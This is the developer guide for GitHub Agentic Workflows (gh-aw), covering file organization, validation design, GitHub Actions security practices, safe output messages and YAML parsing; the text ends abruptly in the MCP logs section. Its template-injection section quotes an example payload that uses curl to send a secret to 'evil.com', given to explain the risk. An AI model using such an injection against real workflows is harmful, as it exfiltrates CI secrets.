Developer

Developer Instructions

This document consolidates technical specifications and development guidelines for GitHub Agentic Workflows (gh-aw). It provides comprehensive guidance on code organization, validation architecture, security practices, and implementation patterns.

Table of Contents

• Capitalization Guidelines
• Code Organization
• Validation Architecture
• Security Best Practices
• Safe Output Messages
• Schema Validation
• YAML Compatibility
• MCP Logs Guardrail
• Release Management
• Firewall Log Parsing
• Breaking CLI Rules
• Go Module Summaries

Capitalization Guidelines

The gh-aw CLI follows context-based capitalization to distinguish between the product name and generic workflow references.

Capitalization Rules

This convention distinguishes between the product name (GitHub Agentic Workflows) and the concept (agentic workflows), following industry standards similar to "GitHub Actions" vs. "actions".

Implementation

The capitalization rules are enforced through automated tests in cmd/gh-aw/capitalization_test.go that run as part of the standard test suite.

Code Organization

File Organization Principles

The codebase follows clear patterns for organizing code by functionality rather than type. This section provides guidance on maintaining code quality and structure.

Prefer Many Small Files Over Large Ones

Organize code into focused files of 100-500 lines rather than creating large monolithic files.

Example:

create_issue.go (160 lines)
create_pull_request.go (238 lines)
create_discussion.go (118 lines)

Group by Functionality, Not by Type

Recommended approach:

create_issue.go            # Issue creation logic
create_issue_test.go       # Issue creation tests
add_comment.go             # Comment addition logic
add_comment_test.go        # Comment tests

Avoid:

models.go                  # All structs
logic.go                   # All business logic
tests.go                   # All tests

Excellent Patterns to Follow

Create Functions Pattern

One file per GitHub entity creation operation:

• create_issue.go - GitHub issue creation logic
• create_pull_request.go - Pull request creation logic
• create_discussion.go - Discussion creation logic
• create_code_scanning_alert.go - Code scanning alert creation

Benefits:

• Clear separation of concerns
• Easy to locate specific functionality
• Prevents files from becoming too large
• Facilitates parallel development

Engine Separation Pattern

Each AI engine has its own file with shared helpers in engine_helpers.go:

• copilot_engine.go - GitHub Copilot engine
• claude_engine.go - Claude engine
• codex_engine.go - Codex engine
• custom_engine.go - Custom engine support
• engine_helpers.go - Shared engine utilities

Test Organization Pattern

Tests live alongside implementation files:

• Feature tests: feature.go + feature_test.go
• Integration tests: feature_integration_test.go
• Specific scenario tests: feature_scenario_test.go

File Size Guidelines

Decision Tree: Creating New Files

graph TD
    A[Need to add code] --> B{New safe output type?}
    B -->|Yes| C[Create create_entity.go]
    B -->|No| D{New AI engine?}
    D -->|Yes| E[Create engine_name_engine.go]
    D -->|No| F{Current file > 800 lines?}
    F -->|Yes| G[Consider splitting by boundaries]
    F -->|No| H{Functionality independent?}
    H -->|Yes| I[Create new file]
    H -->|No| J[Add to existing file]

Decision Tree: Splitting Files

graph TD
    A[Evaluating file split] --> B{File > 1000 lines?}
    B -->|Yes| C[SHOULD split]
    B -->|No| D{File > 800 lines?}
    D -->|Yes| E[CONSIDER splitting]
    D -->|No| F{Multiple responsibilities?}
    F -->|Yes| E
    F -->|No| G{Frequent merge conflicts?}
    G -->|Yes| E
    G -->|No| H[Keep as is]

Case Study: Refactoring Large Files

The refactoring of pkg/parser/frontmatter.go demonstrates applying file organization principles to a large monolithic file.

Initial State

• Original file: 1,907 lines (monolithic structure)
• Problem: Difficult to navigate, understand, and maintain
• Goal: Split into focused, maintainable modules

Refactoring Approach

graph TD
    A[frontmatter.go<br/>1,907 LOC] --> B[ansi_strip.go<br/>108 LOC]
    A --> C[frontmatter_content.go<br/>284 LOC]
    A --> D[remote_fetch.go<br/>258 LOC]
    A --> E[workflow_update.go<br/>129 LOC]
    A --> F[frontmatter.go<br/>1,166 LOC]

    B --> G[ANSI escape<br/>sequence utilities]
    C --> H[Frontmatter<br/>parsing & extraction]
    D --> I[GitHub remote<br/>content fetching]
    E --> J[Workflow file<br/>updates]
    F --> K[Core frontmatter<br/>processing]

    style B fill:#90EE90
    style C fill:#90EE90
    style D fill:#90EE90
    style E fill:#90EE90
    style F fill:#FFE4B5

Results

Modules Extracted

1. ansi_strip.go (108 LOC)

   • ANSI escape sequence stripping utilities
   • Standalone, no dependencies
   • Functions: StripANSI(), isFinalCSIChar(), isCSIParameterChar()

2. frontmatter_content.go (284 LOC)

   • Basic frontmatter parsing and extraction
   • Pure functions without side effects
   • Functions: ExtractFrontmatterFromContent(), ExtractFrontmatterString(), ExtractMarkdownContent(), etc.

3. remote_fetch.go (258 LOC)

   • GitHub remote content fetching
   • GitHub API interactions and caching
   • Functions: downloadIncludeFromWorkflowSpec(), resolveRefToSHA(), downloadFileFromGitHub()

4. workflow_update.go (129 LOC)

   • High-level workflow file updates
   • Frontmatter manipulation and cron expression handling
   • Functions: UpdateWorkflowFrontmatter(), EnsureToolsSection(), QuoteCronExpressions()

Key Principles Applied

• Single Responsibility: Each module handles one aspect of frontmatter processing
• Clear Boundaries: Well-defined interfaces between modules
• Progressive Refactoring: Extract standalone utilities first, then higher-level modules
• No Breaking Changes: Maintain public API compatibility throughout
• Test-Driven Safety: Run tests after each extraction

Remaining Work

Three complex modules remain in the original file (requiring future work):

• tool_sections.go (~420 LOC): Tool configuration extraction and merging
• include_expander.go (~430 LOC): Recursive include resolution with cycle detection
• frontmatter_imports.go (~360 LOC): BFS import traversal and processing

These remain due to high interdependency, stateful logic, and complex recursive algorithms.

Anti-Patterns to Avoid

God Files

Single file doing everything - split by responsibility instead. The frontmatter.go refactoring demonstrates how a 1,907-line "god file" can be systematically broken down.

Vague Naming

Avoid non-descriptive file names like utils.go, helpers.go, misc.go, common.go.

Use specific names like ansi_strip.go, remote_fetch.go, or workflow_update.go that clearly indicate their purpose.

Mixed Concerns

Keep files focused on one domain. Don't mix unrelated functionality in one file.

Test Pollution

Split tests by scenario rather than having one massive test file.

Premature Abstraction

Wait until you have 2-3 use cases before extracting common patterns.

Helper File Conventions

Helper files contain shared utility functions used across multiple modules. Follow these guidelines when creating or modifying helper files.

When to Create Helper Files

Create a helper file when you have:

1. Shared utilities used by 3+ files in the same domain
2. Clear domain focus (e.g., configuration parsing, MCP rendering, CLI wrapping)
3. Stable functionality that won't change frequently

Examples of Good Helper Files:

• github_cli.go - GitHub CLI wrapping functions (ExecGH, ExecGHWithOutput)
• config_helpers.go - Safe output configuration parsing (parseLabelsFromConfig, parseTitlePrefixFromConfig)
• map_helpers.go - Generic map/type utilities (parseIntValue, filterMapKeys)
• mcp_renderer.go - MCP configuration rendering (RenderGitHubMCPDockerConfig, RenderJSONMCPConfig)

Naming Conventions

Helper file names should be specific and descriptive, not generic:

Good Names:

• github_cli.go - Indicates GitHub CLI helpers
• mcp_renderer.go - Indicates MCP rendering helpers
• config_helpers.go - Indicates configuration parsing helpers

Avoid:

• helpers.go - Too generic
• utils.go - Too vague
• misc.go - Indicates poor organization
• common.go - Doesn't specify domain

What Belongs in Helper Files

Include:

• Small (< 50 lines) utility functions used by multiple files
• Domain-specific parsing/validation functions
• Wrapper functions that simplify common operations
• Type conversion utilities

Exclude:

• Complex business logic (belongs in domain-specific files)
• Functions used by only 1-2 callers (co-locate with callers)
• Large functions (> 100 lines) - consider dedicated files
• Multiple unrelated domains in one file

Helper File Organization

Current Helper Files in pkg/workflow:

When NOT to Create Helper Files

Avoid creating helper files when:

1. Single caller - Co-locate with the caller instead
2. Tight coupling - Function is tightly coupled to one module
3. Frequent changes - Helper files should be stable
4. Mixed concerns - Multiple unrelated utilities (split into focused files)

Example of co-location preference:

// Instead of: helpers.go containing formatStepName() used only by compiler.go
// Do: Put formatStepName() directly in compiler.go

Refactoring Guidelines

When refactoring helper files:

1. Group by domain - MCP rendering → mcp_renderer.go, not engine_helpers.go
2. Keep functions small - Large helpers (> 100 lines) may need dedicated files
3. Document usage - Add comments explaining when to use each helper
4. Check call sites - Ensure 3+ callers before keeping in helper file

Example: MCP Function Reorganization

The MCP rendering functions were moved from engine_helpers.go to mcp_renderer.go because:

• Domain focus: All functions relate to MCP configuration rendering
• Multiple callers: Used by Claude, Copilot, Codex, and Custom engines
• Cohesive: Functions work together to render MCP configs
• Stable: Rendering patterns don't change frequently

Before:

engine_helpers.go (478 lines)
  - Agent helpers
  - npm install helpers
  - MCP rendering functions ← Should be in mcp_renderer.go

After:

engine_helpers.go (213 lines)
  - Agent helpers
  - npm install helpers
  
mcp_renderer.go (523 lines)
  - MCP rendering functions
  - MCP configuration types

String Sanitization vs Normalization

The codebase uses two distinct patterns for string processing with different purposes.

Sanitize Pattern: Character Validity

Purpose: Remove or replace invalid characters to create valid identifiers, file names, or artifact names.

When to use: When you need to ensure a string contains only valid characters for a specific context (identifiers, YAML artifact names, filesystem paths).

What it does:

• Removes special characters that are invalid in the target context
• Replaces separators (colons, slashes, spaces) with hyphens
• Converts to lowercase for consistency
• May preserve certain characters (dots, underscores) based on configuration

Normalize Pattern: Format Standardization

Purpose: Standardize format by removing extensions, converting between conventions, or applying consistent formatting rules.

When to use: When you need to convert between different representations of the same logical entity (e.g., file extensions, naming conventions).

What it does:

• Removes file extensions (.md, .lock.yml)
• Converts between naming conventions (dashes to underscores)
• Standardizes identifiers to a canonical form
• Does NOT validate character validity (assumes input is already valid)

Function Reference

Sanitize Functions:

• SanitizeName(name string, opts *SanitizeOptions) string - Configurable sanitization with custom character preservation
• SanitizeWorkflowName(name string) string - Sanitizes workflow names for artifact names and file paths
• SanitizeIdentifier(name string) string - Creates clean identifiers for user agent strings

Normalize Functions:

• normalizeWorkflowName(name string) string - Removes file extensions to get base workflow identifier
• normalizeSafeOutputIdentifier(identifier string) string - Converts dashes to underscores for safe output identifiers

Decision Tree

graph TD
    A[Need to process a string?] --> B{Need to ensure character validity?}
    B -->|Yes| C[Use SANITIZE]
    C --> D{Artifact name / file path?}
    C --> E{Identifier / user agent?}
    C --> F{Custom requirements?}
    D --> G[SanitizeWorkflowName]
    E --> H[SanitizeIdentifier]
    F --> I[SanitizeName with options]
    B -->|No| J{Need to standardize format?}
    J -->|Yes| K[Use NORMALIZE]
    K --> L{Remove file extensions?}
    K --> M{Convert conventions?}
    L --> N[normalizeWorkflowName]
    M --> O[normalizeSafeOutputIdentifier]

Best Practices

1. Choose the right tool: Use sanitize for character validity, normalize for format standardization.
2. Don't double-process: If normalize produces a valid identifier, don't sanitize it again.
3. Document intent: When using these functions, add comments explaining which pattern you're using and why.
4. Validate assumptions: If you assume input is already valid, document that assumption.
5. Consider defaults: Use SanitizeIdentifier when you need a fallback default value for empty results.

Anti-Patterns

Don't sanitize already-normalized strings:

// BAD: Sanitizing a normalized workflow name
normalized := normalizeWorkflowName("weekly-research.md")
sanitized := SanitizeWorkflowName(normalized) // Unnecessary!

Don't normalize for character validity:

// BAD: Using normalize for invalid characters
userInput := "My Workflow: Test/Build"
normalized := normalizeWorkflowName(userInput) // Wrong tool!
// normalized = "My Workflow: Test/Build" (unchanged - invalid chars remain)

Validation Architecture

The validation system ensures workflow configurations are correct, secure, and compatible with GitHub Actions before compilation.

Architecture Overview

graph LR
    WF[Workflow] --> CV[Centralized Validation]
    WF --> DV[Domain-Specific Validation]
    CV --> validation.go
    DV --> strict_mode.go
    DV --> pip.go
    DV --> npm.go
    DV --> expression_safety.go
    DV --> engine.go
    DV --> mcp-config.go

Centralized Validation

Location: pkg/workflow/validation.go (782 lines)

Purpose: General-purpose validation that applies across the entire workflow system

Key Functions:

• validateExpressionSizes() - Ensures GitHub Actions expression size limits
• validateContainerImages() - Verifies Docker images exist and are accessible
• validateRuntimePackages() - Validates runtime package dependencies
• validateGitHubActionsSchema() - Validates against GitHub Actions YAML schema
• validateNoDuplicateCacheIDs() - Ensures unique cache identifiers
• validateSecretReferences() - Validates secret reference syntax
• validateRepositoryFeatures() - Checks repository capabilities
• validateHTTPTransportSupport() - Validates HTTP transport configuration
• validateWorkflowRunBranches() - Validates workflow run branch configuration

When to add validation here:

• Cross-cutting concerns that span multiple domains
• Core workflow integrity checks
• GitHub Actions compatibility validation
• General schema and configuration validation
• Repository-level feature detection

Domain-Specific Validation

Domain-specific validation is organized into separate files:

Strict Mode Validation

Files: pkg/workflow/strict_mode.go, pkg/workflow/validation_strict_mode.go

Enforces security and safety constraints in strict mode:

• validateStrictPermissions() - Refuses write permissions
• validateStrictNetwork() - Requires explicit network configuration
• validateStrictMCPNetwork() - Requires network config on custom MCP servers
• validateStrictBashTools() - Refuses bash wildcard tools

Python Package Validation

File: pkg/workflow/pip.go

Validates Python package availability on PyPI:

• validatePipPackages() - Validates pip packages
• validateUvPackages() - Validates uv packages

NPM Package Validation

File: pkg/workflow/npm.go

Validates NPX package availability on npm registry.

Expression Safety

File: pkg/workflow/expression_safety.go

Validates GitHub Actions expression security with allowlist-based validation.

Validation Decision Tree

graph TD
    A[New Validation Requirement] --> B{Security or strict mode?}
    B -->|Yes| C[strict_mode.go]
    B -->|No| D{Only applies to one domain?}
    D -->|Yes| E{Domain-specific file exists?}
    E -->|Yes| F[Add to domain file]
    E -->|No| G[Create new domain file]
    D -->|No| H{Cross-cutting concern?}
    H -->|Yes| I[validation.go]
    H -->|No| J{Validates external resources?}
    J -->|Yes| K[Domain-specific file]
    J -->|No| I

Validation Patterns

Allowlist Validation

Used for security-sensitive validation with limited set of valid options:

func validateExpressionSafety(content string) error {
    matches := expressionRegex.FindAllStringSubmatch(content, -1)
    var unauthorizedExpressions []string

    for _, match := range matches {
        expression := strings.TrimSpace(match[1])
        if !isAllowed(expression) {
            unauthorizedExpressions = append(unauthorizedExpressions, expression)
        }
    }

    if len(unauthorizedExpressions) > 0 {
        return fmt.Errorf("unauthorized expressions: %v", unauthorizedExpressions)
    }
    return nil
}

External Resource Validation

Used for validating external dependencies:

func validateDockerImage(image string, verbose bool) error {
    cmd := exec.Command("docker", "inspect", image)
    output, err := cmd.CombinedOutput()

    if err != nil {
        pullCmd := exec.Command("docker", "pull", image)
        if pullErr := pullCmd.Run(); pullErr != nil {
            return fmt.Errorf("docker image not found: %s", image)
        }
    }
    return nil
}

Schema Validation

Used for configuration file validation:

func (c *Compiler) validateGitHubActionsSchema(yamlContent string) error {
    schema := loadGitHubActionsSchema()

    var data interface{}
    if err := yaml.Unmarshal([]byte(yamlContent), &data); err != nil {
        return err
    }

    if err := schema.Validate(data); err != nil {
        return fmt.Errorf("schema validation failed: %w", err)
    }
    return nil
}

Progressive Validation

Used for applying multiple validation checks in sequence:

func (c *Compiler) validateStrictMode(frontmatter map[string]any, networkPermissions *NetworkPermissions) error {
    if !c.strictMode {
        return nil
    }

    if err := c.validateStrictPermissions(frontmatter); err != nil {
        return err
    }

    if err := c.validateStrictNetwork(networkPermissions); err != nil {
        return err
    }

    return nil
}

Security Best Practices

This section outlines security best practices for GitHub Actions workflows based on static analysis tools (actionlint, zizmor, poutine) and security research.

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern

# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables

# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison

graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end

Recent Fixes (November 2025)

Template injection vulnerabilities were identified and fixed in:

• copilot-session-insights.md - Step output passed through environment variable
• Pattern: Move template expressions from bash scripts to environment variable assignments

See scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.

Secure Pattern: Sanitized Context (gh-aw specific)

# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"

The steps.sanitized.outputs.text output is automatically sanitized:

• @mentions neutralized
• Bot triggers protected
• XML tags converted to safe format
• Only HTTPS URIs from trusted domains
• Content limits enforced (0.5MB, 65k lines)
• Control characters removed

Safe Context Variables

Always safe to use in expressions:

• github.actor
• github.repository
• github.run_id
• github.run_number
• github.sha

Never safe in expressions without environment variable indirection:

• github.event.issue.title
• github.event.issue.body
• github.event.comment.body
• github.event.pull_request.title
• github.event.pull_request.body
• github.head_ref (can be controlled by PR authors)

Shell Script Best Practices

SC2086: Double Quote to Prevent Globbing and Word Splitting

Insecure:

steps:
  - name: Process files
    run: |
      FILES=$(ls *.txt)
      for file in $FILES; do
        echo $file
      done

Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.

Secure:

steps:
  - name: Process files
    run: |
      while IFS= read -r file; do
        echo "$file"
      done < <(find . -name "*.txt")

Shell Script Security Checklist

• Always quote variable expansions: "$VAR"
• Use [[ ]] instead of [ ] for conditionals
• Use $() instead of backticks for command substitution
• Enable strict mode: set -euo pipefail
• Validate and sanitize all inputs
• Use shellcheck to catch common issues

Example secure script:

steps:
  - name: Secure script
    env:
      INPUT_VALUE: ${{ github.event.inputs.value }}
    run: |
      set -euo pipefail

      if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
        echo "Invalid input format"
        exit 1
      fi

      echo "Processing: $INPUT_VALUE"

      result=$(grep -r "$INPUT_VALUE" . || true)
      echo "$result"

Supply Chain Security

Supply chain attacks target dependencies in CI/CD pipelines.

Pin Action Versions with SHA

Insecure:

steps:
  - uses: actions/checkout@v5           # Tag can be moved
  - uses: actions/setup-node@main       # Branch can be updated

Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.

Secure:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.

Finding SHA for Actions

# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1

# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1

Workflow Structure and Permissions

Minimal Permissions Principle

Insecure:

name: CI
on: [push]

permissions: write-all

Secure:

name: CI
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

Job-Level Permissions

name: CI/CD
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      deployments: write
    steps:
      - uses: actions/checkout@sha
      - run: npm run deploy

Available Permissions

Static Analysis Integration

Integrate static analysis tools into development and CI/CD workflows:

Available Tools

• actionlint - Lints GitHub Actions workflows, validates shell scripts
• zizmor - Security vulnerability scanner for GitHub Actions
• poutine - Supply chain security analyzer

Running Locally

# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/

# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine

# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine

Security Checklist

Template Injection

• No untrusted input in ${{ }} expressions
• Untrusted data passed via environment variables
• Safe context variables used where possible
• Sanitized context used (gh-aw: steps.sanitized.outputs.text)

Shell Scripts

• All variables quoted: "$VAR"
• No SC2086 warnings (unquoted expansion)
• Strict mode enabled: set -euo pipefail
• Input validation implemented
• shellcheck passes with no warnings

Supply Chain

• All actions pinned to SHA (not tags/branches)
• Version comments added to pinned actions
• Actions from verified creators or reviewed
• Dependencies scanned for vulnerabilities

Permissions

• Minimal permissions specified
• No write-all permissions
• Job-level permissions used when needed
• Fork PR handling secure

Static Analysis

• actionlint passes (no errors)
• zizmor passes (High/Critical addressed)
• poutine passes (supply chain secure)

Safe Output Messages

Safe output functions handle GitHub API write operations (creating issues, discussions, comments, PRs) from AI-generated content with consistent messaging patterns.

Safe Output Message Flow

The following diagram illustrates how AI-generated content flows through the safe output system to GitHub API operations:

graph TD
    A[AI Agent Output] --> B{Staged Mode?}
    B -->|Yes| C[Generate Preview Messages]
    B -->|No| D[Process Safe Output]
    C --> E[Show 🎭 Staged Mode Preview]
    E --> F[Display in Step Summary]
    D --> G{Safe Output Type}
    G -->|create-issue| H[Create GitHub Issue]
    G -->|create-discussion| I[Create GitHub Discussion]
    G -->|add-comment| J[Add GitHub Comment]
    G -->|create-pull-request| K[Create Pull Request]
    G -->|create-pr-review-comment| L[Create PR Review Comment]
    G -->|update-issue| M[Update GitHub Issue]
    H --> N[Apply Message Patterns]
    I --> N
    J --> N
    K --> N
    L --> N
    M --> N
    N --> O[Add AI Attribution Footer]
    N --> P[Add Installation Instructions]
    N --> Q[Add Related Items Links]
    N --> R[Add Patch Preview]
    O --> S[Execute GitHub API Operation]
    P --> S
    Q --> S
    R --> S
    S --> T[Generate Success Summary]
    T --> U[Display in Step Summary]

Flow Stages:

1. AI Agent Output - AI generates content for GitHub operations
2. Staged Mode Check - Determines if operation is in preview mode
3. Safe Output Processing - Routes to appropriate GitHub operation type
4. Message Pattern Application - Applies consistent formatting (footers, instructions, links)
5. GitHub API Execution - Performs the actual GitHub operation
6. Success Summary - Reports results in workflow step summary

Message Categories

AI Attribution Footer

Identifies content as AI-generated and links to workflow run:

> AI generated by [WorkflowName](run_url)

With triggering context:

> AI generated by [WorkflowName](run_url) for #123

Workflow Installation Instructions

>
> To add this workflow in your repository, run `gh aw add owner/repo/path@ref`. See [usage guide](https://github.github.com/gh-aw/setup/cli/).

Staged Mode Preview

All staged mode previews use consistent format with 🎭 emoji:

## 🎭 Staged Mode: [Operation Type] Preview

The following [items] would be [action] if staged mode was disabled:

Patch Preview

Display git patches in pull request bodies with size limits:

<details><summary>Show patch (45 lines)</summary>

\`\`\`diff
diff --git a/src/auth.js b/src/auth.js
index 1234567..abcdefg 100644
--- a/src/auth.js
+++ b/src/auth.js
@@ -10,7 +10,10 @@ export async function login(username, password) {
-    throw new Error('Login failed');
+    if (response.status === 401) {
+      throw new Error('Invalid credentials');
+    }
+    throw new Error('Login error: ' + response.statusText);
\`\`\`

</details>

Limits: Max 500 lines or 2000 characters (truncated with "... (truncated)" if exceeded)

Design Principles

Consistency

• All AI-generated content uses same blockquote footer format
• 🎭 emoji consistently marks staged preview mode
• URL patterns match GitHub conventions
• Step summaries follow same heading and list structure

Clarity

• Clear distinction between preview and actual operations
• Explicit error messages with actionable guidance
• Helpful fallback instructions when operations fail
• Field labels consistently use bold text

Discoverability

• Installation instructions included in footers when available
• Related items automatically linked across workflow outputs
• Step summaries provide quick access to created items
• Collapsible sections keep large content manageable

Safety

• Labels sanitized to prevent unintended @mentions
• Patch sizes validated and truncated when needed
• Staged mode allows testing without side effects
• Graceful fallbacks when primary operations fail

Schema Validation

All three JSON schema files enforce strict validation with "additionalProperties": false at the root level, preventing typos and undefined fields from silently passing validation.

Schema Files

How It Works

When "additionalProperties": false is set at the root level, the validator rejects any properties not explicitly defined in the schema's properties section. This catches common typos:

• permisions instead of permissions
• engnie instead of engine
• toolz instead of tools
• timeout_minute instead of timeout-minutes
• runs_on instead of runs-on
• safe_outputs instead of safe-outputs

Example Validation Error

$ gh aw compile workflow-with-typo.md
✗ error: Unknown properties: toolz, engnie, permisions. Valid fields are: tools, engine, permissions, ...

Validation Process

graph LR
    A[Read workflow frontmatter] --> B[Parse YAML]
    B --> C[Validate against JSON schema]
    C --> D{Valid?}
    D -->|Yes| E[Continue compilation]
    D -->|No| F[Provide detailed error]
    F --> G[Show invalid fields]
    F --> H[Show valid field names]

Schema Embedded in Binary

Schemas are embedded in the Go binary using //go:embed directives:

//go:embed schemas/main_workflow_schema.json
var mainWorkflowSchema string

This means:

• Schema changes require running make build to take effect
• Schemas are validated at runtime, not at build time
• No external JSON files need to be distributed with the binary

Adding New Fields

When adding new fields to schemas:

1. Update the schema JSON file with the new property definition
2. Rebuild the binary with make build
3. Add test cases to verify the new field works
4. Update documentation if the field is user-facing

YAML Compatibility

YAML has two major versions with incompatible boolean parsing behavior that affects workflow validation.

The Core Issue

YAML 1.1 Boolean Parsing Problem

In YAML 1.1, certain plain strings are automatically converted to boolean values. The workflow trigger key on: can be misinterpreted as boolean true instead of string "on".

Example:

# Python yaml.safe_load (YAML 1.1 parser)
import yaml

content = """
on:
  issues:
    types: [opened]
"""

result = yaml.safe_load(content)
print(result)
# Output: {True: {'issues': {'types': ['opened']}}}
#          ^^^^ The key is boolean True, not string "on"!

This creates false positives when validating workflows with Python-based tools.

YAML 1.2 Correct Behavior

YAML 1.2 parsers treat on, off, yes, and no as regular strings, not booleans. Only explicit boolean literals true and false are treated as booleans.

Example:

// Go goccy/go-yaml (YAML 1.2 parser) - Used by gh-aw
var result map[string]interface{}
yaml.Unmarshal([]byte(content), &result)

fmt.Printf("%+v\n", result)
// Output: map[on:map[issues:map[types:[opened]]]]
//         ^^^ The key is string "on" ✓

How gh-aw Handles This

GitHub Agentic Workflows uses goccy/go-yaml v1.18.0, which is a YAML 1.2 compliant parser:

• ✅ on: is correctly parsed as a string key, not a boolean
• ✅ Workflow frontmatter validation works correctly
• ✅ GitHub Actions YAML is compatible (GitHub Actions also uses YAML 1.2 parsing)

Compatibility Flow

graph TD
    A[Workflow File] --> B{Parser Type?}
    B -->|YAML 1.1| C[Python yaml.safe_load]
    B -->|YAML 1.2| D[gh-aw / goccy/go-yaml]
    C --> E[on: parsed as True]
    D --> F[on: parsed as string]
    E --> G[False Positive]
    F --> H[Correct Validation]

Affected Keywords

YAML 1.1 treats these as booleans (parsed as true or false):

Parsed as true: on, yes, y, Y, YES, Yes, ON, On Parsed as false: off, no, n, N, NO, No, OFF, Off

YAML 1.2 treats all of the above as strings. Only these are booleans: true, false

Recommendations

For Workflow Authors

1. Use gh-aw's compiler for validation:

   gh aw compile workflow.md
   

2. Don't trust Python yaml.safe_load for validation - it will give false positives for the on: trigger key.

3. Use explicit booleans when you mean boolean values:

   enabled: true      # Explicit boolean
   disabled: false    # Explicit boolean
   
   # Avoid for boolean values:
   enabled: yes       # Might be confusing across parsers
   disabled: no       # Might be confusing across parsers
   

For Tool Developers

1. Use YAML 1.2 parsers for gh-aw integration:

   • Go: github.com/goccy/go-yaml
   • Python: ruamel.yaml (with YAML 1.2 mode)
   • JavaScript: yaml package v2+ (YAML 1.2 by default)
   • Ruby: Psych (YAML 1.2 by default in Ruby 2.6+)

2. Document parser version in your tool

3. Consider adding compatibility mode to switch between YAML 1.1 and 1.2 parsing

MCP Logs Guardrail

The MCP server logs command includes an automatic guardrail to prevent overwhelming responses when fetching workflow logs.

How It Works

graph TD
    A[logs command called] --> B[Generate output]
    B --> C{Output size check}
    C -->|≤ 12000 tokens| D[Return full JSON data]
    C -->|> 12000 tokens| E[Return guardrail message]
    E --> F[Include schema description]
    E --> G[Provide suggested jq queries]

Normal Operation (Output ≤ Token Limit)

When output is within the token limit (default: 12000 tokens), the command returns full JSON data:

{
  "summary": {
    "total_runs": 5,
    "total_duration": "2h30m",
    "total_tokens": 45000,
    "total_cost": 0.23
  },
  "runs": [...],
  "tool_usage": [...]
}

Guardrail Triggered (Output > Token Limit)

When output exceeds the tok

…(truncated)